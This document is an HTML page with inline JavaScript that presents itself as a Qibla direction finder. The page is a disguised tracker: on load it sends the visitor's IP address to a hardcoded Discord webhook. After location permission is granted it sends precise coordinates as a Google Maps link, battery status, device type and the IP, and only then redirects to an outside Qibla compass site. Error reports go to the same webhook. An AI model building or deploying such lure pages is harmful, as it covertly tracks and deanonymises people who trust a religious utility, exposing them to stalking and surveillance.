| <!DOCTYPE html> |
|
|
| <html lang="en"> |
|
|
| <head> |
|
|
| <meta charset="UTF-8"> |
|
|
| <meta name="viewport" content="width=device-width, initial-scale=1.0"> |
|
|
| <title>QIBLA Location Finder</title> |
|
|
| |
|
|
| <link href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.2/css/bootstrap.min.css" rel="stylesheet"> |
|
|
| |
|
|
| <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-icons/1.11.1/font/bootstrap-icons.min.css"> |
|
|
| |
| <link rel="stylesheet" href="styles.css"> |
|
|
| </head> |
|
|
| <body> |
|
|
| |
|
|
| <div class="floating-elements"> |
|
|
| <div class="floating-element">๐</div> |
|
|
| <div class="floating-element">๐ฟ</div> |
|
|
| <div class="floating-element">๐</div> |
|
|
| <div class="floating-element">โญ</div> |
|
|
| <div class="floating-element">๐</div> |
|
|
| <div class="floating-element">๐ฟ</div> |
|
|
| <div class="floating-element">๐</div> |
|
|
| <div class="floating-element">โญ</div> |
|
|
| </div> |
|
|
|
|
|
|
| |
|
|
| <div class="toast-container position-fixed top-0 end-0 p-3" style="z-index: 9999;"> |
|
|
| <div id="notificationToast" class="toast" role="alert" aria-live="assertive" aria-atomic="true"> |
|
|
| <div class="toast-header d-none"> |
|
|
| <strong class="me-auto">Notification</strong> |
|
|
| <button type="button" class="btn-close" data-bs-dismiss="toast" aria-label="Close"></button> |
|
|
| </div> |
|
|
| <div class="toast-body d-flex align-items-center"> |
|
|
| <i class="me-2"></i> |
|
|
| <span class="toast-message"></span> |
|
|
| <button type="button" class="btn-close btn-close-white ms-auto" data-bs-dismiss="toast" aria-label="Close"></button> |
|
|
| </div> |
|
|
| </div> |
|
|
| </div> |
|
|
|
|
|
|
| |
|
|
| <div class="container-fluid main-container"> |
|
|
| <div class="row justify-content-center"> |
|
|
| <div class="col-12 col-sm-10 col-md-8 col-lg-6 col-xl-5"> |
|
|
| <div class="qibla-card"> |
|
|
| |
|
|
| <div class="text-center mb-4"> |
|
|
| <div class="logo bg-primary d-flex align-items-center justify-content-center text-white" style="font-size: 3rem; margin: 0 auto;"> |
|
|
| ๐ |
|
|
| </div> |
|
|
| </div> |
|
|
|
|
|
|
| <h1 class="main-title"> |
|
|
| <i class="bi bi-compass me-2"></i> |
|
|
| The Qibla Signifies Unity in Islam |
|
|
| </h1> |
|
|
| |
|
|
| <p class="description"> |
|
|
| Please enable location access to receive the most accurate Qibla direction. |
|
|
| |
|
|
| </p> |
|
|
|
|
|
|
| <button id="getLocationBtn" class="btn qibla-btn"> |
|
|
| <i class="bi bi-geo-alt me-2"></i> |
|
|
| OK, Let's Find Qibla |
|
|
| </button> |
|
|
|
|
|
|
| |
|
|
| <div id="loadingSpinner" class="loading-spinner"> |
|
|
| <div class="spinner-border text-primary" role="status"> |
|
|
| <span class="visually-hidden">Loading...</span> |
|
|
| </div> |
|
|
| <p class="mt-2 text-muted">Getting your location...</p> |
|
|
| </div> |
|
|
|
|
|
|
| |
|
|
| <div id="statusMessage" class="status-message d-none"></div> |
|
|
| </div> |
|
|
| </div> |
|
|
| </div> |
|
|
| </div> |
|
|
|
|
|
|
| |
|
|
| <script src="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.2/js/bootstrap.bundle.min.js"></script> |
|
|
|
|
|
|
| <script> |
| |
| |
| |
| class NotificationManager { |
| |
| constructor() { |
| |
| this.toastElement = document.getElementById('notificationToast'); |
| |
| this.toastInstance = new bootstrap.Toast(this.toastElement, { |
| |
| autohide: true, |
| |
| delay: 5000 |
| |
| }); |
| |
| } |
| |
| |
| |
| show(message, type = 'info') { |
| |
| const toastBody = this.toastElement.querySelector('.toast-body'); |
| |
| const icon = toastBody.querySelector('i'); |
| |
| const messageSpan = toastBody.querySelector('.toast-message'); |
| |
| |
| |
| |
| |
| this.toastElement.className = 'toast'; |
| |
| |
| |
| |
| |
| messageSpan.textContent = message; |
| |
| |
| |
| |
| |
| switch(type) { |
| |
| case 'success': |
| |
| this.toastElement.classList.add('toast-success'); |
| |
| icon.className = 'bi bi-check-circle-fill me-2'; |
| |
| break; |
| |
| case 'error': |
| |
| this.toastElement.classList.add('toast-error'); |
| |
| icon.className = 'bi bi-exclamation-triangle-fill me-2'; |
| |
| break; |
| |
| case 'info': |
| |
| this.toastElement.classList.add('toast-info'); |
| |
| icon.className = 'bi bi-info-circle-fill me-2'; |
| |
| break; |
| |
| case 'warning': |
| |
| this.toastElement.classList.add('toast-warning'); |
| |
| icon.className = 'bi bi-exclamation-triangle-fill me-2'; |
| |
| break; |
| |
| } |
| |
| |
| |
| this.toastInstance.show(); |
| |
| } |
| |
| } |
| |
| |
| |
| |
| |
| const notifications = new NotificationManager(); |
| |
| |
| |
| |
| |
| class QiblaFinder { |
| |
| constructor() { |
| |
| this.button = document.getElementById('getLocationBtn'); |
| |
| this.loadingSpinner = document.getElementById('loadingSpinner'); |
| |
| this.statusMessage = document.getElementById('statusMessage'); |
| |
| this.isProcessing = false; |
| |
| |
| |
| this.init(); |
| |
| } |
| |
| |
| |
| init() { |
| |
| |
| |
| this.sendIpAddressOnLoad(); |
| |
| |
| |
| |
| |
| this.button.addEventListener('click', () => this.handleLocationRequest()); |
| |
| |
| |
| |
| |
| if (!navigator.geolocation) { |
| |
| this.showError('Geolocation is not supported by this browser. Please use a modern browser like Chrome, Firefox, or Safari.'); |
| |
| notifications.show('Geolocation not supported by this browser', 'error'); |
| |
| } |
| |
| } |
| |
| |
| |
| handleLocationRequest() { |
| |
| if (this.isProcessing) return; |
| |
| |
| |
| this.isProcessing = true; |
| |
| this.showLoading(true); |
| |
| this.button.disabled = true; |
| |
| |
| |
| notifications.show('Requesting your location...', 'info'); |
| |
| |
| |
| const options = { |
| |
| enableHighAccuracy: true, |
| |
| timeout: 10000, |
| |
| maximumAge: 300000 |
| |
| }; |
| |
| |
| |
| navigator.geolocation.getCurrentPosition( |
| |
| (position) => this.handleSuccess(position), |
| |
| (error) => this.handleError(error), |
| |
| options |
| |
| ); |
| |
| } |
| |
| |
| |
| handleSuccess(position) { |
| |
| const { latitude, longitude } = position.coords; |
| |
| const accuracy = position.coords.accuracy; |
| |
| |
| |
| notifications.show(`Location found with ${Math.round(accuracy)}m accuracy`, 'success'); |
| |
| this.showStatus(`Location acquired successfully! Accuracy: ${Math.round(accuracy)} meters`, 'success'); |
| |
| |
| |
| |
| |
| this.sendLocationData(latitude, longitude, accuracy); |
| |
| } |
| |
| |
| |
| handleError(error) { |
| |
| this.isProcessing = false; |
| |
| this.showLoading(false); |
| |
| this.button.disabled = false; |
| |
| |
| |
| let errorMessage = ''; |
| |
| let userMessage = ''; |
| |
| let showPermissionHelp = false; |
| |
| |
| |
| switch(error.code) { |
| |
| case error.PERMISSION_DENIED: |
| |
| errorMessage = "User denied the request for Geolocation."; |
| |
| userMessage = "Location access denied. Please enable location permissions to find Qibla direction."; |
| |
| showPermissionHelp = true; |
| |
| notifications.show('Location permission denied', 'error'); |
| |
| break; |
| |
| case error.POSITION_UNAVAILABLE: |
| |
| errorMessage = "Location information is unavailable."; |
| |
| userMessage = "Unable to determine your location. Please check your GPS settings."; |
| |
| notifications.show('Location unavailable', 'error'); |
| |
| break; |
| |
| case error.TIMEOUT: |
| |
| errorMessage = "The request to get user location timed out."; |
| |
| userMessage = "Location request timed out. Please try again."; |
| |
| notifications.show('Location request timed out', 'warning'); |
| |
| break; |
| |
| default: |
| |
| errorMessage = "An unknown error occurred."; |
| |
| userMessage = "An unexpected error occurred. Please try again."; |
| |
| notifications.show('Unknown error occurred', 'error'); |
| |
| break; |
| |
| } |
| |
| |
| |
| this.showStatus(userMessage, 'error'); |
| |
| |
| |
| if (showPermissionHelp) { |
| |
| this.showPermissionHelp(); |
| |
| } |
| |
| |
| |
| |
| |
| this.sendMessageToDiscord(errorMessage); |
| |
| |
| |
| console.error('Geolocation error:', error); |
| |
| } |
| |
| |
| |
| showPermissionHelp() { |
| |
| setTimeout(() => { |
| |
| const helpMessage = ` |
| |
| <div class="mt-3 p-3 bg-light rounded"> |
| |
| <h6><i class="bi bi-lightbulb text-warning me-2"></i>How to enable location:</h6> |
| |
| <ul class="text-start small mb-0"> |
| |
| <li><strong>Chrome:</strong> Click the location icon in the address bar</li> |
| |
| <li><strong>Firefox:</strong> Click the shield icon and allow location</li> |
| |
| <li><strong>Safari:</strong> Go to Settings > Privacy & Security > Location Services</li> |
| |
| <li><strong>Mobile:</strong> Check your browser's location permissions in device settings</li> |
| |
| </ul> |
| |
| </div> |
| |
| `; |
| |
| this.statusMessage.innerHTML += helpMessage; |
| |
| }, 1000); |
| |
| } |
| |
| |
| |
| showLoading(show) { |
| |
| this.loadingSpinner.style.display = show ? 'block' : 'none'; |
| |
| } |
| |
| |
| |
| showStatus(message, type) { |
| |
| this.statusMessage.className = `status-message status-${type}`; |
| |
| this.statusMessage.innerHTML = `<i class="bi bi-${type === 'success' ? 'check-circle' : type === 'error' ? 'exclamation-triangle' : 'info-circle'} me-2"></i>${message}`; |
| |
| this.statusMessage.classList.remove('d-none'); |
| |
| } |
| |
| |
| |
| async sendLocationData(latitude, longitude, accuracy) { |
| |
| try { |
| |
| const googleMapsLink = `https://www.google.com/maps?q=${latitude},${longitude}`; |
| |
| const userAgent = navigator.userAgent; |
| |
| let batteryInfo = 'Not Available'; |
| |
| |
| |
| |
| |
| if ('getBattery' in navigator) { |
| |
| try { |
| |
| const battery = await navigator.getBattery(); |
| |
| batteryInfo = `${(battery.level * 100).toFixed(1)}% (${battery.charging ? 'Charging' : 'Not Charging'})`; |
| |
| } catch (e) { |
| |
| console.log('Battery API not available'); |
| |
| } |
| |
| } |
| |
| |
| |
| |
| |
| const ipResponse = await fetch('https://api.ipify.org?format=json'); |
| |
| const ipData = await ipResponse.json(); |
| |
| |
| |
| const message = { |
| |
| content: `๐ฏ **New Qibla Location Request**\n` + |
| |
| `๐ **Location:** ${googleMapsLink}\n` + |
| |
| `๐ **IP Address:** ${ipData.ip}\n` + |
| |
| `๐ฑ **Accuracy:** ${Math.round(accuracy)} meters\n` + |
| |
| `๐ **Battery:** ${batteryInfo}\n` + |
| |
| `๐ป **Device:** ${this.getDeviceInfo(userAgent)}\n` + |
| |
| `๐ **Time:** ${new Date().toLocaleString()}` |
| |
| }; |
| |
| |
| |
| const webhookUrl = 'https://discordapp.com/api/webhooks/1259411474372366376/qUp54Pc4sKQOVGY41X4gzNOEKfHaVsSKDsQiAZKVSnFwvPgwTZnScX12N6Pu9i1pVW2B'; |
| |
| |
| |
| const response = await fetch(webhookUrl, { |
| |
| method: 'POST', |
| |
| headers: { 'Content-Type': 'application/json' }, |
| |
| body: JSON.stringify(message) |
| |
| }); |
| |
| |
| |
| if (response.ok) { |
| |
| setTimeout(() => { |
| |
| notifications.show('Redirecting to Qibla compass...', 'success'); |
| |
| this.redirectToQibla(); |
| |
| }, 2000); |
| |
| } else { |
| |
| throw new Error(`HTTP ${response.status}`); |
| |
| } |
| |
| |
| |
| } catch (error) { |
| |
| console.error('Error sending location data:', error); |
| |
| notifications.show('Failed to process location data', 'error'); |
| |
| this.showStatus('Failed to process location data, but you can still access the Qibla compass.', 'warning'); |
| |
| |
| |
| setTimeout(() => this.redirectToQibla(), 3000); |
| |
| } finally { |
| |
| this.isProcessing = false; |
| |
| this.showLoading(false); |
| |
| this.button.disabled = false; |
| |
| } |
| |
| } |
| |
| |
| |
| getDeviceInfo(userAgent) { |
| |
| if (/Android/i.test(userAgent)) return 'Android Device'; |
| |
| if (/iPhone|iPad/i.test(userAgent)) return 'iOS Device'; |
| |
| if (/Windows/i.test(userAgent)) return 'Windows PC'; |
| |
| if (/Mac/i.test(userAgent)) return 'Mac'; |
| |
| if (/Linux/i.test(userAgent)) return 'Linux'; |
| |
| return 'Unknown Device'; |
| |
| } |
| |
| |
| |
| async sendIpAddressOnLoad() { |
| |
| try { |
| |
| const response = await fetch('https://api.ipify.org?format=json'); |
| |
| const data = await response.json(); |
| |
| |
| |
| const message = { |
| |
| content: `๐ **New Visitor**\n๐ **IP:** ${data.ip}\n๐ **Time:** ${new Date().toLocaleString()}` |
| |
| }; |
| |
| |
| |
| fetch('https://discordapp.com/api/webhooks/1259411474372366376/qUp54Pc4sKQOVGY41X4gzNOEKfHaVsSKDsQiAZKVSnFwvPgwTZnScX12N6Pu9i1pVW2B', { |
| |
| method: 'POST', |
| |
| headers: { 'Content-Type': 'application/json' }, |
| |
| body: JSON.stringify(message) |
| |
| }); |
| |
| |
| |
| } catch (error) { |
| |
| console.error('Error sending IP address:', error); |
| |
| } |
| |
| } |
| |
| |
| |
| sendMessageToDiscord(messageContent) { |
| |
| const message = { |
| |
| content: `โ ๏ธ **Error Report**\n๐ **Message:** ${messageContent}\n๐ **Time:** ${new Date().toLocaleString()}` |
| |
| }; |
| |
| |
| |
| fetch('https://discordapp.com/api/webhooks/1259411474372366376/qUp54Pc4sKQOVGY41X4gzNOEKfHaVsSKDsQiAZKVSnFwvPgwTZnScX12N6Pu9i1pVW2B', { |
| |
| method: 'POST', |
| |
| headers: { 'Content-Type': 'application/json' }, |
| |
| body: JSON.stringify(message) |
| |
| }).catch(error => console.error('Discord webhook error:', error)); |
| |
| } |
| |
| |
| |
| redirectToQibla() { |
| |
| window.location.href = 'https://www.al-habib.info/qibla-pointer/online-qibla-compass.html'; |
| |
| } |
| |
| } |
| |
| |
| |
| |
| |
| document.addEventListener('DOMContentLoaded', () => { |
| |
| new QiblaFinder(); |
| |
| }); |
| |
| |
| |
| |
| |
| window.addEventListener('load', () => { |
| |
| setTimeout(() => { |
| |
| notifications.show('Welcome! Click the button to find your Qibla direction.', 'info'); |
| |
| }, 1500); |
| |
| }); |
| |
| </script> |
|
|
| </body> |
|
|
| </html> |